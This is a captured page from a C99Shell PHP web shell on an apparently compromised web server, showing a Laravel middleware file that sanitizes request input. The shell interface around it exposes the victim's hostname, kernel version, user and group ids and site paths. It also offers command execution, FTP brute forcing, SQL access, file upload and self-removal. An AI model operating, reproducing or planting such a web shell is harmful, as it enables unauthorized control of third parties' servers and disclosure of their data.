!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/ecom1.picotech.app/public_html_ecom1/app/Http/Middleware/   drwxr-xr-x
Free 26.65 GB of 117.98 GB (22.59%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     TrimStrings.php (3.83 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace App\Http\Middleware;

use 
Illuminate\Foundation\Http\Middleware\TrimStrings as Middleware;
use 
Illuminate\Http\Request;

class 
TrimStrings extends Middleware
{
    
/**
     * The names of the attributes that should not be trimmed.
     *
     * @var array
     */
    
protected $except = [
        
'password',
        
'password_confirmation',
        
'body',
        
'category',
        
'html',
        
'css',
        
'mainHeaderScript',
        
'orderConfirmScript',
        
'productDetailsScript',
        
'loginScript',
        
'signUpScript',
    ];

    
/**
     * The names of the attributes that should not be striped.
     *
     * @var array
     */
    
protected $exceptAllowHTMLTags = [
        
'password',
        
'password_confirmation',
        
'body',
        
'description',
        
'html',
        
'css',
        
'message',
        
'data',
        
'title_text',
        
'sub_title_text',
        
'description_title_text',
        
'mainHeaderScript',
        
'orderConfirmScript',
        
'productDetailsScript',
        
'loginScript',
        
'signUpScript',
    ];


    
/**
     * Transform the given value into striped value.
     *
     * @param  Request  $request
     * @return striped request input
     */
    
public function __construct(Request $request)
    {
        
$urlSegments $request->segments();

        foreach (
$urlSegments as $key => $value) {
            if (
$value != strip_tags($value)) {
                if (
in_array('api'array_values($urlSegments))) {
                    
$data['status']  = ['code' => 400'text' => __('Bad Request')];
                    
$data['message'] = __('Invalid characters are present in your api URL.');
                    
/** Please don't remove the dd() method below. It is necessary to send error
                    messsage on invalid URL segments. */
                    
dd(json_encode($data));
                }
                return 
redirect('dashboard');
            }
        }

        if (
$request->isMethod('post') || $request->isMethod('put')) {
            
$requestAll $request->all();
            
$data = [];
            foreach (
$requestAll as $key => $value) {
                if (
is_array($value)) {
                    foreach (
$value as $secondKey => $secondValue) {
                        if (
is_array($secondValue)) {
                            foreach (
$secondValue as $thirdKey => $thirdValue) {
                                if (
is_array($thirdValue)) {
                                    foreach (
$thirdValue as $fourthKey => $fourthValue) {
                                        
$data[$key][$secondKey][$thirdKey][$fourthKey] = $this->iterateInputValue($fourthKey$fourthValue);
                                    }
                                } else {
                                    
$data[$key][$secondKey][$thirdKey] = $this->iterateInputValue($thirdKey$thirdValue);
                                }
                            }
                        } else {
                            
$data[$key][$secondKey] = $this->iterateInputValue($secondKey$secondValue);
                        }
                    }
                } else {
                    
$data[$key] = $this->iterateInputValue($key$value);
                }
            }
            
$request->replace($data);
        }
    }

    
/**
     * iterateInputValue method
     * @param string $key
     * @param  array $value
     * @return array
     */
    
private function iterateInputValue($key$value)
    {
        if (!
in_array($key$this->excepttrue)) {
            
$value trim(xss_clean($value));
        }
        if (!empty(
$value) && !in_array($key$this->exceptAllowHTMLTagstrue)) {
            return 
stripBeforeSave($value);
        }
        return 
$value;
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0039 ]--